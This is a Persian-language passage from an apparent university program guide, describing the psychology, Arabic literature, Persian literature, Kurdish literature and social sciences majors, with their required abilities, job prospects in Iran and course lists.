    زیست‌شناسی‌ و شیمی‌ در این‌ رشته‌ اهمیت‌ بسیاری‌ دارد و باید پایه‌ علوم‌زیستی‌ دانشجوی‌ این‌ رشته‌ قوی‌ باشد. به‌ همین‌ دلیل‌ امروزه‌ دانشجویان‌ این‌ رشته‌ از بین‌ دو گروه‌ آزمایشی‌ علوم‌انسانی‌ و علوم‌تجربی‌ پذیرفته‌ می‌شوند. از سوی‌ دیگر آمار و ریاضی‌ و زبان‌ انگلیسی‌ در این‌ رشته‌ کاربرد و اهمیت‌ زیادی‌ دارد. دانشجوی‌ این‌ رشته‌ باید نسبت‌ به‌ اطراف‌ و جامعه‌ خود دید عمیقی‌ داشته‌ باشد تا بتواند ظرافت‌های‌ رفتاری‌ افراد را درک‌ کند‌ و به‌ ویژگی‌های‌ روانی‌ افراد پی‌ ببرد.
    موقعیت‌ شغلی‌ در ایران :
    امروزه‌ روانشناسی‌ با همه‌ جنبه‌های‌ زندگی‌ ما ارتباط‌ دارد و هر اندازه‌ که‌ جامعه‌ پیچیده‌تر شود، روانشناسی‌ نیز نقش‌ مهمتری‌ در حل‌ مسائل‌ آدمی‌ برعهده‌ می‌گیرد. این‌ به‌ معنای‌ فرصت‌های‌ شغلی‌ متنوع‌ و گسترده‌ برای‌ فارغ‌التحصیلان‌ رشته‌ روانشناسی‌ است‌. به‌ گفته‌ کارشناسان‌ این‌ رشته‌، آینده‌ روانشناسی‌ در کشور ما روشن‌ و امیدبخش‌ است‌ و فارغ‌التحصیلان‌ این‌ رشته‌ باید آینده‌ خود را در فردا ببینند. چون‌ کشور ما یکی‌ از کشورهای‌ در حال‌ توسعه‌ است‌ و بدون‌ بهره‌گیری‌ از شاخه‌های‌ مختلف‌ روانشناسی‌ نمی‌تواند توسعه‌ همه‌جانبه‌ داشته‌ باشد. از سوی‌ دیگر کشور ما، کشور جوانی‌ است‌ و امروزه‌ یکی‌ از دغدغه‌های‌ خانواده‌ها، حفظ‌ بهداشت‌ روانی‌ و بالا بردن‌ سطح‌ دانش‌ فرزندانشان‌ می‌باشد که‌ این‌ دو مهم‌ نیز به‌ یاری‌ شاخه‌های‌ مختلف‌ روانشناسی‌ از جمله‌ روانشناسی‌ رشد و روانشناسی‌ تربیتی‌ امکان‌پذیر است‌. البته‌ در حال‌ حاضر فارغ‌التحصیلان‌ این‌ رشته‌ بیشتر‌ جذب‌ آموزش‌ و پرورش‌ می‌شوند یا در شرکت‌ها و سازمان‌ها به‌ عنوان‌ کارشناس‌ روانشناسی‌ فعالیت‌ می‌کنند و عده‌ای‌ نیز به‌ عنوان‌ دستیار متخصص‌ روانشناسی‌ بالینی‌ یا روانپزشک‌ مشغول‌ به‌ کار هستند.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس‌ مشترک‌ در‌ گرایش‌های مختلف روانشناسی :
    روانشناسی‌ عمومی‌، علم‌النفس‌ از دیدگاه‌ دانشمندان‌ اسلامی‌، آمار توصیفی‌، فیزیولوژی‌ عمومی‌، کلیات‌ فلسفه‌، مبانی‌ جامعه‌شناسی‌، روانشناسی‌ احساس‌ و ادراک‌، متون‌ روانشناسی‌ به‌ زبان‌ خارجی‌، آمار استنباطی‌، روش‌ تحقیق‌ در روانشناسی‌، روانشناسی‌ فیزیولوژیک‌، روانشناسی‌ تجربی‌، روانشناسی‌ رشد، روانشناسی‌ یادگیری‌، روانشناسی‌ تربیتی‌، روانشناسی‌ اجتماعی‌، روانسنجی‌، انگیزش‌ و هیجان‌، شخصیت‌، آسیب‌شناسی‌ روانی‌، بهداشت‌ روانی‌، روانشناسی‌ مرضی‌ کودک‌، تاریخچه‌ و مکاتب‌ روانشناسی‌.
    دروس‌ تخصصی‌ گرایش‌ روانشناسی‌ بالینی‌:
    کاربرد مقدماتی‌ روش‌های‌ تشخیص‌ بالینی‌، کاربرد مقدماتی‌ روش‌های‌ درمان‌، مصاحبه‌، سمینار مسائل‌ روانشناسی‌ بالینی‌ در جهان‌ و ایران‌، پژوهش‌های‌ عملی‌ در روانشناسی‌ بالینی‌، روانشناسی‌ پویایی‌ گروه‌، کلیات‌ روانپزشکی‌، بررسی‌ مقدماتی‌ نظریه‌های‌ روان‌ درمانی‌، روانشناسی‌ مشاوره‌ و راهنمایی‌، روانشناسی‌ کودکان‌ استثنایی‌.
    دروس‌ تخصصی‌ گرایش‌ روانشناسی‌ عمومی‌:
    طرح‌ها و‌ پژوهش‌های‌ آزمایشگاهی‌، مقدمات‌ نورو بسیکولوژی‌، ارزشیابی‌ شخصیت‌، روانشناسی‌ مشاوره‌ و راهنمایی‌، روانشناسی‌ هوش‌ و سنجش‌ آن‌، تفکر و زبان‌، روانشناسی‌ پویایی‌ گروه‌، روانشناسی‌ کودکان‌ استثنایی‌، سمینار در مسائل‌ روانشناسی‌ عمومی‌، اختلالات‌ یادگیری‌، روانشناسی‌ جنایی‌، پژوهش‌های‌ عملی‌ در روانشناسی‌ عمومی‌.
    دروس‌ تخصصی‌ گرایش‌ روانشناسی‌ استثنایی‌:
    روانشناسی‌ مشاوره‌ و راهنمایی‌، نظریه‌ها و کاربرد آزمون‌های‌ شناختی‌، روانشناسی‌ کودکان‌ تیزهوش‌ و روش‌های‌ آموزش‌ آنها، روانشناسی‌ کودکان‌ عقب‌مانده‌ و روش‌های‌ آموزش‌ آنها، اختلالات‌ تکلم‌ و گفتار درمانی‌، روانشناسی‌ تدریس‌ به‌ کودکان‌ ناشنوا، روانشناسی‌ تدریس‌ به‌ کودکان‌ نابینا، متون‌ روانشناسی‌ کودکان‌ استثنایی‌ به‌ زبان‌های‌ خارجی‌، بهداشت‌ روانی‌ کودکان‌ استثنایی‌ و خانواده‌، زمینه‌ پیشگیری‌ از تولد کودکان‌ عقب ‌افتاده‌، روانشناسی‌ کودکان‌ ناسازگار، روش‌های‌ تغییر و اصلاح‌ رفتار کودکان‌، سمینار مسائل‌ کودکان‌ استثنایی‌ در جهان‌ و ایران‌، پژوهش‌های‌ عملی‌ در روانشناسی‌ و آموزش‌ کودکان‌ استثنایی‌.

  70. زبان وادبیات عربی
    دیباچه: از همان زمان که ایرانیان دروازه‌های خود را بر روی سپاهیان عرب گشودند و با آغوش باز اسلام را پذیرفتند، بدون هیچ تعصبی و با شور و نشاط و علاقه‌ای فوق‌العاده به فراگیری، ضبط و تدوین زبان و ادبیات عرب پرداختند،‌زیرا ایرانیان مانند همه مسلمانان پاک نهاد دیگر، زبان عربی را زبان قوم عرب نمی‌دانستند بلکه به این زبان به عنوان زبان قرآن و زبان بین‌المللی اسلام ارج می‌نهادند تا جایی که به گفته بسیاری از مورخان و ادیبان، خدمات ایرانیان به زبان عربی بیش از خود اعراب به این زبان بوده است. مردم کشور ما امروزه بیش از گذشته نیاز به آشنایی با زبان و ادبیات عربی دارند چرا که عربی زبان اول جهان اسلام و زبان فرهنگ و تمدن بیشتر کشورهای مسلمان است و ما برای اتحاد، همدلی و همزبانی با جهان اسلام و بهره‌گیری از منابع اصلی اسلامی و تحقیقاتی که در این زمینه انجام می‌شود همچنین تسلط بر زبان و ادبیات فارسی که از زبان و ادبیات عربی بسیار تأثیر پذیرفته است، باید به زبان و ادبیات عرب مسلط باشیم. از همین رو در دانشگاه‌ها و مراکز آموزش عالی کشورمان رشته زبان و ادبیات عربی ارائه می‌شود.
    دانشجوی‌ زبان‌ و ادبیات‌ عربی‌ با تاریخ‌ ادبیات‌ عرب‌، متون‌ مختلف‌ نظم‌ و نثر دوره‌های‌ مختلف‌، فن‌ ترجمه‌ از عربی‌ به‌ فارسی‌ و بالعکس‌، علوم‌ بلاغی‌ و عروض‌ و قافیه‌ درزبان‌ و ادبیات‌ عرب‌ آشنا می‌شود. به همین دلیل رشته‌ زبان‌ و ادبیات‌ عربی‌ در دانشگاه‌ها با کتاب‌ عربی‌ که‌ در آموزش‌ و پرورش‌ تدریس‌ می‌شود تا حدودی‌ متفاوت‌ است‌ چون‌ در مدارس‌، عربی‌ بیشتر درس‌ قواعد و صرف‌ و نحو است‌ و تا حدودی‌ نیز دانش‌آموزان‌ علوم‌ انسانی‌ بلاغت‌ زبان‌ عربی‌ را مطالعه‌ می‌کنند اما در دانشگاه‌ به‌ زبان‌ و ادبیات‌ عربی‌ به‌ عنوان‌ یک‌ رشته‌ تخصصی‌ نگاه‌ می‌شود و دانشجویان‌ با دروس‌ متفاوتی‌ از جمله‌:
    تاریخ‌ ادبیات‌ عرب‌ در دوره‌های‌ مختلف‌ اعم‌ ازتاریخ‌ ادبیات‌ عصر جاهلی‌، عصر اموی‌، عصر عباسی‌، دوره‌ انحطاط‌ و دوره‌ معاصر، متون‌ نظم‌ ونثر در دوره‌های‌ مختلف‌ تاریخی‌، ادبیات‌ تطبیقی‌، نامه‌نگاری‌ و خلاصه‌نویسی‌، مکالمه‌، انشا و فن‌ ترجمه‌ آشنا می‌شوند.
    توانایی‌های‌ لازم :
    علاقه‌ و انگیزه‌ در رشته‌ زبان‌ و ادبیات‌ عربی‌ مثل‌ سایر رشته‌ها حرف‌ اول‌ را می‌زند. همچنین‌ دانشجوی‌ زبان‌ و ادبیات‌ عربی‌ باید به‌ ادبیات‌ فارسی‌ و زبان‌ عربی‌ تسلط‌ نسبی‌ داشته‌ باشد و در کنار این‌ توانمندی‌ها اگر به‌ زبان‌ عربی‌ به‌ عنوان‌ زبان‌ وحی‌ نگاه‌ کند، با عشق‌ و علاقه‌ بیشتری‌ رشته‌ تحصیلی‌ خود را ادامه‌ می‌دهد. زبان‌ و ادبیات‌ عربی‌ تنها رشته‌ زبان‌های‌ خارجه‌ است‌ که‌ فقط‌ از داوطلبان‌ گروه‌ علوم‌ انسانی‌ دانشجو می‌پذیرد. زیرا زبان‌ و ادبیات‌ فارسی‌ و عربی‌ وامدار یکدیگر هستند و این‌ دو زبان‌ چنان‌ درهم آمیخته‌اند که‌ بسیاری‌ از استادان‌ و ادیبان‌ ما معتقدند زبان‌ عربی‌ یک‌ زبان‌ بیگانه‌ نیست‌ و از همین‌ رو در اکثر دانشگاه‌ها رشته‌ زبان‌ و ادبیات‌ عربی‌ در کنار رشته‌ زبان‌ و ادبیات‌ فارسی‌ در دپارتمان‌ دانشکده‌ ادبیات‌ قرار دارد. البته‌ به‌ اعتقاد کارشناسان‌، زبان‌ عربی‌ باید یک‌ آزمون‌ اختصاصی‌ داشته‌ و داوطلبان‌ تمامی‌ گروه‌های‌ آزمایشی‌ اجازه‌ شرکت‌ در این‌ آزمون‌ را داشته‌ باشند، چون‌ گاهی‌ اوقات‌ یک‌ داوطلب‌ ریاضی‌ و فنی نیز به‌ رشته‌ زبان‌ و ادبیات‌ عربی‌ علاقه‌مند است‌ و مایل‌ است‌ در کنار رشته‌های‌ علوم پایه یا فنی‌، این‌ رشته‌ را نیز انتخاب‌ کند.
    موقعیت‌ شغلی‌ در ایران‌ :
    علاوه‌ بر تدریس‌ در آموزش‌ و پرورش‌ و مؤسسات‌ خصوصی‌ یک‌ فارغ‌التحصیل‌ توانمند رشته‌ عربی‌ می‌تواند به‌ پژوهش‌ و تحقیق‌ در زمینه‌ زبان‌ و ادبیات‌ عربی‌ بپردازد. یکی‌ از مهمترین‌ و اساسی‌ترین‌ مراکز جذب‌ فارغ‌التحصیلان‌ این‌ رشته‌ نیز وزارت‌ آموزش‌ و پرورش‌ است‌. همچنین‌ فارغ‌التحصیلانی‌ که‌ زبان‌ عربی‌ را خوب‌ فرا گرفته‌اند، می‌توانند در آزمون‌های‌ اداره‌ فنی‌ قوه‌ قضائیه‌ شرکت‌ کرده‌، در صورت‌ موفقیت‌ به‌ عنوان‌ مترجم‌ رسمی‌ دادگستری‌ مجوز تأسیس‌ دارالترجمه‌ را بگیرند. البته‌ دایره‌ این‌ کار بسیار محدود است‌ و هر ساله‌ قوه‌ قضائیه‌ به‌ تعداد محدودی‌ از متقاضیان‌ مجوز می‌دهد. افرادی‌ نیز که‌ مایلند جذب‌ مشاغل‌ آزاد شوند ، می‌توانند به‌ ترجمه‌ کتاب‌های‌ عربی‌ بپردازند. چون‌ بازار کتاب‌ ما نیاز مبرمی‌ به‌ مترجمانی‌ دارد که‌ به‌ زبان‌ عربی‌ و کار ترجمه‌ مسلط‌ باشند.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس تخصصی :
    آزمایشگاه‌، صرف‌ ، نحو، ترجمه‌ و تجوید قرآن‌ کریم‌، روش‌ تحقیق‌ و مأخذشناسی‌، مکالمه‌ ، تمرین‌ صرف‌ و نحو، متون‌ حدیث‌، ادب‌ متعهد اهل‌بیت‌، روزنامه‌ها و مجلات‌ عربی‌، ادب‌ سیاسی‌ در دوره‌ اسلام‌، قرائت‌ متون‌ عرفانی‌ ، ادبیات‌ تطبیقی‌، فن‌ ترجمه‌، انشاء ، علوم‌ بلاغی‌ ، زبان‌ خارجی‌ تخصصی‌ ، متون‌ نهج‌البلاغه‌، ترجمه‌ از عربی‌ به‌ فارسی‌ و بالعکس‌، عروض‌ و قافیه‌، فقه‌اللغه‌، قرائت‌ متون‌ تفسیری‌ قرآن‌ کریم‌ ، نامه‌نگاری‌ و خلاصه‌نوسی‌، نقد ادبی‌، متون‌ نظم‌ و نثر از سقوط‌ بغداد تا عصر حاضر، تاریخ‌ ادبیات‌ از سقوط‌ بغداد تا عصر حاضر، متون‌ نظم‌ و نثر دوره‌ عباسی‌ اول‌ ، تاریخ‌ ادبیات‌ دوره‌ عباسی‌ اول‌ ، متون‌ نظر و نثر دوره عباسی‌ دوم‌ ، تاریخ‌ ادبیات‌ دوره‌ عباسی‌ دوم‌، متون‌ نظم‌ و نثر دوره‌ اندلس‌، متون‌ نظم‌ و نثر دوره‌ معاصر ، تاریخ‌ و ادبیات‌ دوره‌ معاصر ، متون‌ نظم‌ و نثر عربی‌ در ایران‌ از آغاز تا سقوط‌ بغداد، متون‌ نظم‌ و نثر عربی‌ در ایران‌ از سقوط‌ بغداد تا دوره‌ معاصر، تاریخ‌ ادبیات‌ از دوره‌ جاهلی‌ تا پایان‌ دوره‌ اموی‌ ، متون‌ نظم‌ و نثر از جاهلی‌ تا پایان‌ دوره‌ اموی‌.

  71. زبان وادبیات فارسی
    دیباچه: بعضی‌ها می‌گویند باید فراموش کرد و یا حداقل کمتر به آن پرداخت چرا که در عصر ماشین و قرن بیست و یکم سخن گفتن از آن نشانه عقب‌ماندگی و دوری از واقعیت‌هاست. می‌گویند وقتی به یاری آن حتی نمی‌توان یک سنجاق قفلی را ساخت چرا باید هم‌ّ و غم خویش را صرف آن کرد وخلاصه ادبیات مال دوران لب جوی و سایه درخت و آواز بلبل بوده است و حالا که این دوران سر آمده است با ادبیات نیز باید خداحافظی کرد.این در حالی است که رشته زبان و ادبیات فارسی بهترین بستر برای ورود به شناخت فرهنگ و عرفان و حتی معارف دینی ما است. چون سرفصل‌ها و دروسی که در این رشته تدریس می‌شود هر کدام مسیری است که به دشت‌های وسیع معرفت منتهی می‌گردد. مثلاً معانی و بیان و آرایه‌های ادبی موجب ارضاء حس زیباشناسی در حوزه ادبیات می‌شود و از دیگر سو صنایع شعری و فنون بلاغی مانند تملیح، استعاره و مجاز کلیدی برای پی بردن به نکات باریک و اشارات معنایی متون ادبی است. امروزه‌ دامنه‌ ادبیات‌ فارسی‌ بسیار گسترده‌ است‌ به‌ گونه‌ای‌ که‌ پیش‌بینی‌ می‌شود بتوان‌ ده‌ گرایش‌ برای‌ آموزش‌ ادبیات‌ فارسی‌ تدوین‌ کرد؛ یعنی‌ دانشجو طی‌ دو سال‌ دروس‌ عمومی‌ ادبیات‌ را بخواند و در دو سال‌ بعد یکی‌ از گرایش‌های‌ علوم‌ بلاغی‌، ادبیات‌ داستانی‌ و گرایش‌های‌ دیگری‌ که‌ می‌توان‌ در این‌ رشته‌ پیش‌ بینی‌ کرد، مطالعه‌ کند. اما آنچه‌ امروزه در دانشگاه‌ها به‌ عنوان‌ رشته ادبیات‌ فارسی‌ تدریس‌ می‌شود،‌ دارای دو شاخه‌ اصلی‌ زبان‌ فارسی‌ و ادبیات‌ فارسی‌است. که‌ در بخش‌ زبان‌ فارسی‌ مسایل‌ مربوط‌ به‌ زبان‌ شناسی‌، دستور زبان‌، اصول‌ نگارش‌ و ویرایش‌ و در بخش‌ ادبیات‌؛ سبک‌شناسی‌، نقد ادبی‌، انواع‌ ادبی‌، تاریخ‌ ادبیات‌، صنایع‌ ادبی‌ شامل‌ بدیع‌، معانی‌ و بیان‌ و عروض‌ همچنین‌ متون‌ نظم‌ و نثر کلاسیک‌ مورد بررسی‌ قرار می‌گیرد.
    توانایی‌های‌ لازم :
    اگر یک‌ دانشجوی‌ ادبیات‌ از خواندن‌ یک‌ بیت‌ شعر حافظ‌ یا خواندن‌ داستان‌های‌ شاخص‌ و معروف‌ ادبیات‌ جهان‌ لذت‌ نبرد به‌ اشتباه‌ وارد این‌ رشته‌ شده‌ است‌ چون‌ دانشجوی‌ زبان‌ و ادبیات‌ فارسی‌ باید دروس‌ بسیار متنوع‌ و گسترده‌ای‌ را در وادی‌ ادبیات‌ فارسی‌ بخواند و اگر کسی‌ علاقه‌مند نباشد این‌ رشته‌ برایش‌ ملال‌ آور می‌شود.این‌ رشته‌ قلم‌ درست‌ و بیان‌ خوب‌ می‌خواهد تا بتوان‌ منظور خود را به‌ خوبی‌ تفهیم‌ کرد. همچنین‌ دانشجوی‌ این‌ رشته‌ لازم‌ است‌ که‌ حافظه‌ نسبتاً قوی‌ داشته‌ باشد چون‌ بخش‌ عظیمی‌ از مقولات‌ ادبی‌ را باید به‌ خاطر بسپارد تا در مواقع‌ لازم به‌ آنها دسترسی‌ داشته‌ باشد.
    موقعیت‌ شغلی‌ در ایران :
    بعد از آموزش‌ و پرورش‌ ، مطبوعات‌ بهترین‌ بستر برای‌ فعالیت‌ فارغ‌التحصیلان‌ ادبیات‌ فارسی‌ است‌. همچنین‌ بهترین‌ نیرو برای‌ تنظیم‌ و ارائه‌ برنامه‌های‌ ادبی‌ رادیو و تلویزیون‌ و حوزه‌های‌ فرهنگی‌ وزارتخانه‌های‌ مختلف‌ کشور، فارغ‌التحصیل‌ این‌ رشته‌ است. و از اینها گذشته‌ یک‌ لیسانس‌ ادبیات‌ اگر پویا و فعال‌ باشد می‌تواند یک‌ نویسنده‌، شاعر یا منتقد گردد و در مراکز چاپ‌ و نشر کتاب‌ به‌ عنوان‌ ویراستار و ناظر ادبی‌ در سیر چاپ‌ کتاب‌ حضور داشته‌ باشد. در ضمن‌ تعدادی‌ از فارغ‌التحصیلان‌ نیز با توجه‌ به‌ ذوق‌ و سلیقه‌ خود کارهای‌ ویژه‌ای‌ انجام‌ می‌دهند که‌ از آن‌ جمله‌ می‌توان‌ به‌ شرکت‌ در تألیف‌ فرهنگ‌های‌ مختلف‌ به‌ عنوان‌ پژوهشگر ادبی‌ و “فیش‌نویس‌ علمی‌” و “انتخابی‌” دایره المعارف‌ها اشاره‌ کرد.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس‌ پایه:
    دستور زبان‌، تاریخ‌ زبان‌‌فارسی‌، مرجع‌شناسی‌ و روش‌ تحقیق‌ ، آیین‌نگارش‌ و ویرایش‌ ، بدیع‌.
    دروس‌ اصلی‌:
    رودکی‌ و منوچهری‌، فرخی‌ و کسایی‌، رستم‌ و سهراب‌، رستم‌ و اسفندیار، قصیده‌های‌ ناصرخسرو، خاقانی‌، مسعود سعد، نظامی‌، مثنوی‌ معنوی‌، منطق‌الطیر، حدیقه‌سنایی‌، بوستان‌ سعدی‌، غزلیات‌ و قصاید سعدی‌، حافظ‌، صائب‌، تاریخ‌ بیهقی‌، سیاست‌نامه‌ و قابوسنامه‌، کشف‌ الاسرار، کلیله‌ و دمنه‌، گلستان‌ سعدی‌، مرصادالعباد، قرائت‌ متون‌ عربی‌، قواعد عربی‌، زبان‌ خارجه‌ تخصصی‌، عروض‌ و قافیه‌، ادبیات‌ معاصر، متون‌ تفسیری‌، آشنایی‌ با علوم‌ قرآنی‌، نقد ادبی‌.
    دروس‌ تخصصی:
    معانی‌ و بیان‌، مبانی‌ عرفان‌ و تصوف‌، تأثیر قرآن‌ و حدیث‌ در ادب‌ فارسی‌، تاریخ‌ ادبیات‌، سبک‌شناسی‌.

  72. بان وادبیات کردی
    دیباچه: زبان کردی در شاخه‎های خانواده زبانی هندو ایرانی است و با زبان فارسی قرابت بسیار دارد تا جایی که تاریخ‎شناسان پرآوازه بر این باورند که کردهای امروز، نوادگان مادهای دیروزند. این زبان که در طول تاریخ بالندگی‎اش، گنجینه‎ای ارزشمند از فرهنگ و ادب را در خود پرورانده است، به بخش‎های مختلفی تقسیم می‎شود که هر یک از آنها با اندک تفاوتی در ساختار، واژگان و ویژگی‎های آواشناختی، ادبیات مخصوص خود را دارند که روی هم مجموعه این ادبیات‎ها به نام زبان و ادبیات کردی شناخته شده است.هدف رشته زبان و ادبیات کردی، آشنایی با جنبه‎های ادبی، زیبا‎شناختی و پیشینه تاریخی این زبان غنی و کهن و بررسی تأثیر ادبیات کردی و فارسی بر روی یکدیگر است.گفتنی است که چون زبان و ادبیات کردی ارتباطی نزدیک با زبان و ادبیات فارسی دارد، این رشته مانند زبان و ادبیات فارسی از بین داوطلبان گروه آزمایشی علوم انسانی دانشجو می‎پذیرد.
    درس‎های این رشته در طول تحصیل:
    دروس پایه:
    آئین نگارش و رسم الخط، دستور زبان، آواشناسی و واج‎شناسی، پیشینه زبان کردی و لهجه‎های آن، کلیات زبان‎شناسی، روش تحقیق و مرجع‎شناسی، فرهنگ‎نگاری
    دروس اصلی:
    شعر و نثر سبک خراسانی در ادب فارسی، شعر و نثر سبک عراقی در ادب فارسی، شعر و نثر سبک هندی و بازگشت در ادب فارسی، نثر معاصر فارسی، شعر معاصر فارسی، صرف درزبان عربی، نحو درزبان عربی،متون نظم و نثر کلاسیک در ادب عربی، نثر معاصر عربی، شعر معاصر عربی، زبان انگلیسی اختصاصی، متون ادبی لری، متون نثر معاصر، متون شعر معاصر، تأثیر قرآن و حدیث در ادب کردی، ادب فولکلور، افسانه‎ها واسطوره‎ها، ادبیات تطبیقی، عروض وقافیه، شاهکارهای ادب جهان به زبان کردی، روزنامه‎نگاری.
    دروس تخصصی:
    تاریخ ادبیات و ادب ‎گورانی، تاریخ ادبیات ( ادب کرمانج شمال)، تاریخ ادبیات (ادب‎ کرمانج جنوب)، تاریخ ادبیات (ادب معاصر)، بدیع، معانی و بیان، مکاتب ادبی جهان، سبک‎های ادبی درادب‎کردی، کلیات نقد ادبی، نقد در ادب داستانی، ادبیات داستانی در ادب کردی، اصول و روش ترجمه، ترجمه متون.

  73. علوم اجتماعی
    دیباچه: سالانه بیش از ۸۰ میلیون نفر به جمعیت جهان اضافه می‌شود. به همین دلیل سن نیمی از جمعیت جهان کمتر از ۲۵ سال است و در این میان بیش از یک میلیارد جوان در سنین ۱۵ تا ۲۴ سال قرار دارند و این بیانگر آن است که کشورهای دنیا بخصوص کشورهای در حال توسعه که بیشتر جمعیت جهان به آنها اختصاص دارد، در سال‌های آینده با معضلات اجتماعی بسیاری در شهرها و روستاها رو به رو خواهند شد. به زبان دیگر تقاضای اجتماعی برای آموزش، بهداشت، اشتغال، مسکن و در مجموع رفاه اجتماعی بیشتر می‌شود و در نتیجه وجود مختصصانی که با پژوهش، مطالعه و برنامه‌ریزی, راه‌های رسیدن به رفاه اجتماعی را بیابند، بسیار ضروری است. هدف رشته علوم اجتماعی تربیت متخصصانی است که نیاز جامعه را در زمینه‌های فوق برآورده سازند. اما چون عنوان علوم اجتماعی دارای مفهوم وسیعی است، رشته علوم اجتماعی به گرایش‌های متفاوتی تقسیم شده است. برهمین اساس علوم‌اجتماعی‌ دارای‌ چهار گرایش‌ پژوهشگری‌ اجتماعی‌، برنامه‌ریزی‌ اجتماعی‌ ، رفاه‌ و تعاون‌ اجتماعی‌ و مردم‌شناسی‌ است‌.
    گرایش‌ پژوهشگری‌ اجتماعی:
    هدف‌ پژوهشگری‌ اجتماعی‌ ساختن‌ انسان‌ جامعه‌شناس‌ است‌. انسانی‌ که‌ بتواند با مطالعات‌ دقیق‌ نظری‌ و عملی‌ به‌ عنوان‌ یک‌ محقق‌، سطح‌ آگاهی‌های‌ اجتماعی‌ را بالا برده‌ و‌ پاسخگوی‌ نیاز مراکز آموزشی‌، پژوهشی‌ و خدماتی‌ باشد؛ یعنی‌ نتایج‌ تحقیقات‌ او به‌ ما بگوید که‌ چگونه‌ می‌توان‌ از بحران‌های‌ اجتماعی‌ عبور کرد و به‌ آرامش‌ و رفاه‌ رسید. درس‌های‌ پژوهشگری اجتماعی‌ دارای‌ سه‌ شاخه‌ است‌. در یک‌ شاخه‌ مهارت‌ در عملیات‌ تحقیقی‌ آموزش‌ داده‌ می‌شود، شاخه‌ دیگر مبانی‌ جامعه‌شناسی‌ است‌ که‌ پایه‌های‌ علم‌ جامعه‌شناسی‌ را از نظر مفهومی‌ معرفی‌ می‌کند و شاخه‌ سوم‌ نیز مباحث‌ جمعیت‌شناسی‌ است‌ که‌ از درس‌ مبانی‌ جمعیت‌شناسی‌ شروع‌ می‌شود و به‌ تحلیل‌ جمعیت‌، تحلیل‌ حرکت‌های‌ جمعیتی‌ و کاربردهای‌ جمعیت‌شناسی‌ در مباحث‌ اجتماعی‌ و اقتصادی‌ ختم‌ می‌گردد.
    توانایی‌های‌ لازم‌ :
    دانشجوی‌ این‌ گرایش‌ باید به‌ تحقیق‌های‌ نظری‌ و عملی‌ علاقه‌مند باشد؛ یعنی از یک سو نظریه‌های‌ اجتماعی‌ را مطالعه‌ کرده‌ و آنها را مورد نقد و تحلیل‌ قرار دهد و از سوی‌ دیگر بین‌ مردم‌ جامعه‌ رفته‌ و به‌ تحقیق‌های‌ میدانی‌ علاقه‌مند باشد. دانش‌ و بینش‌ ریاضی‌ در این‌ گرایش‌ بسیار مهم‌ است‌؛ چون‌ دقیق‌ فکر کردن‌ و دقیق‌ اندیشیدن‌ در پژوهشگری‌ اجتماعی‌ اهمیت بسیاری دارد.
    موقعیت‌ شغلی‌ در ایران :
    در حال‌ حاضر پژوهش‌های‌ اجتماعی‌ رواج‌ و گسترش‌ پیدا کرده‌ است‌ و نه‌ تنها بخش‌های‌ دولتی‌ موظف‌ به‌ انجام‌ تحقیقات‌ اجتماعی‌ هستند بلکه‌ بخش‌های‌ خصوصی‌ نیز به‌ تحقیقات‌ اجتماعی‌ روی‌ آورده‌اند. به‌ همین‌ دلیل‌ به‌ جرأت‌ می‌توان‌ گفت‌ که‌ امروزه‌ یک‌ دانشجوی‌ باسواد این‌ گرایش‌ که‌ دارای‌ مهارت‌ پژوهشی‌ باشد، هرگز مشکل‌ اشتغال‌ نخواهد داشت‌.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس‌ مشترک‌ در گرایش‌های مختلف علوم اجتماعی:
    نظریه‌های‌ جامعه‌شناسی‌، روش‌ تحقیق‌، جامعه‌شناسی‌ در ادبیات‌ فارسی‌، روش‌ تحقیق‌ علمی‌، جامعه‌شناسی‌ جنگ‌ و نیروهای‌ نظامی‌، بررسی‌ مسائل‌ اجتماعی‌ ایران‌، جامعه‌شناسی‌ انقلاب‌ها، مبانی‌ جامعه‌شناسی‌، مبانی‌ جمعیت‌شناسی‌، مبانی‌ روانشناسی‌، ریاضیات‌ پایه‌، مبانی‌ فلسفه‌، مبانی‌ مردم‌شناسی‌، مبانی‌ تاریخ‌ اجتماعی‌ ایران‌، اصول‌ علم‌ سیاست‌، آمار مقدماتی‌، روش‌های‌ مقدماتی‌ تحلیل‌ جمعیت‌، اصول‌ علم‌ اقتصاد، آمار در علوم‌اجتماعی‌، تاریخ‌ تفکر اجتماعی‌ در اسلام‌، روانشناسی‌ اجتماعی‌، زبان خارجه تخصصی‌، انسان‌ از دیدگاه‌ اسلام‌ و سایر مکاتب‌.
    دروس‌ تخصصی‌ گرایش‌ پژوهشگری‌ اجتماعی‌:
    جامعه‌شناسی‌ روستایی‌، جامعه‌شناسی‌ انحرافات‌ اجتماعی‌، جامعه‌شناسی‌ ایلات‌ و عشایر، جامعه‌شناسی‌ خانواده‌ ، جامعه‌شناسی‌ شهری‌، تکنیک‌های‌ خاص‌ تحقیق‌، جامعه‌شناسی‌ ارتباط‌ جمعی‌، جامعه‌شناسی‌ صنعتی‌، کاربرد کامپیوتر، جامعه‌شناسی‌ سازمان‌ها، جامعه‌شناسی‌ توسعه‌، کاربرد جمعیت‌شناسی‌.
    گرایش‌ برنامه‌ریزی‌ اجتماعی‌:
    گرایش‌ برنامه‌ریزی‌ اجتماعی‌ عمدتاً پیرامون‌ مسائل‌ اجتماعی‌ و برنامه‌ریزی‌ در خصوص‌ اجتماع‌ و انسان‌ است‌. برای‌ مثال‌ هنگام‌ ساخت‌ یک‌ مجتمع‌ آپارتمانی‌، کارشناس‌ برنامه‌ریزی‌ اجتماعی‌ برای‌ مسائل‌ اجتماعی‌ آن‌ مجتمع‌ برنامه‌ریزی‌ می‌کند تا حقوق‌ هریک‌ از افراد ساکن‌ در مجتمع‌ حفظ‌ و ساکنان‌ آن‌ با کمترین‌ مشکلات‌ و مسائل‌ اجتماعی‌ روبرو گردند. یا مثلاً برنامه‌ریزی‌ می‌کند که‌ در یک‌ شهر مراکز اقتصادی‌ یا سایت‌های‌ صنعتی‌ در کجا باید قرار بگیرد و توسعه‌ ساختمانی‌ چگونه‌ انجام‌ شود که‌ مشکلی‌ برای‌ جامعه‌ به وجود نیاید.
    توانایی‌های‌ لازم :
